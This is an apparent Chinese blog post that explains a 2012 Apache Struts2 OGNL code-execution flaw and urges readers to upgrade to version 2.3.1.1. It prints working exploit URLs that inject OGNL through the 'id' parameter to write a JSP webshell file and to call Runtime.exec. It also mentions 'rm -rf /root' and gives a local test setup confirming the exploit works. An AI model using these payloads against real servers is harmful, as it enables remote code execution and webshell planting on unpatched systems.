struts2代码执行漏洞

2012-01-09 1,014 0

刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址

https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt

还是热乎的,我大概白话一下。

这个漏洞的级别很高,都升级修补一下。

影响版本是2.3.1和2.3.1之前的版本

解决办法是升级2.3.1.1

漏洞原理(自己理解的)

Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。

例如

处理请求配置这样

<action name="Test" class="example.Test">

&nbsp;&nbsp;&nbsp; <result name="input">test.jsp</result>

</action>

通过ONGL就可以转换成

/Test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b’

oh!god!系统权限就有了,想干什么,就可以干什么了。

或者这样

/Test.action?id=’%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec(‘calc’))%2b’

想执行什么就可以执行什么了。比如 rm –rf /root..

我根据说明做了一下测试

jdk:1.6

struts:2.2.1

代码如下:

struts.xml

   1:<?xmlversion="1.0"encoding="UTF-8" ?>



   2:<!DOCTYPEstrutsPUBLIC



   3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"



   4:"http://struts.apache.org/dtds/struts-2.0.dtd">



   5:<struts>



   6:<packagename="default"namespace="/"extends="struts-default">



   7:<actionname="test"class="me.dapeng.action.Test">



   8:<resultname="input">test.jsp</result>



   9:</action>



  10:</package>



  11:</struts>




Test.java




   1:package me.dapeng.action;



   2:  



   3:import com.opensymphony.xwork2.ActionSupport;



   4:  



   5:/**



   6: * 



   7: * @ClassName:Test.java.java



   8: * @ClassDescription:测试Struts2漏洞



   9: * @Author:dapeng



  10: * @CreatTime:2012-1-9 下午1:45:36



  11: * 



  12: */



  13:publicclass Test extends ActionSupport {



  14:long id;



  15:  



  16:     @Override



  17:public String execute() throws Exception {



  18:         System.out.println("execute input");



  19:return"input";



  20:     }



  21:  



  22:publiclong getId() {



  23:return id;



  24:     }



  25:  



  26:publicvoid setId(long id) {



  27:this.id = id;



  28:     }



  29:  



  30: }




test.jsp


   1: <%@ page language="java"import="java.util.*" pageEncoding="ISO-8859-1"%>



   2: <%@ taglib prefix="s" uri="/struts-tags"%>



   3: <br>



   4: <s:property value="id" />




请求URL


http://localhost:8080/test/test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/create.jsp")).append("jsp+shell").close())%2b'


结果:


通过URL产生了自定义的文件,如果你想执行什么脚本都可以了。


http://images.dapeng.me/dapengme/2012/01/struts2_B205/struts2_holes_thumb.jpg


我也值测试了其中一种情况,其他的漏洞测试就不做了,没升级到安全版本的,赶紧升级吧!最近的安全问题很多的,别等出了安全问题,再想办法,亡羊补牢,为时已晚已!

相关文章

15年来的手艺之路:手艺人赵鹏的自述
纪念 Google 25 周年:从搜索引擎到科技巨头的演变之路
1小时编写一个支持七牛上传的 markdown 客户端3(打包发布篇)
1小时编写一个支持七牛上传的 markdown 客户端2(代码优化篇)
1小时编写一个支持七牛上传的 markdown 客户端1(技术实现篇)
从 wordpress 转移到 hexo

发布评论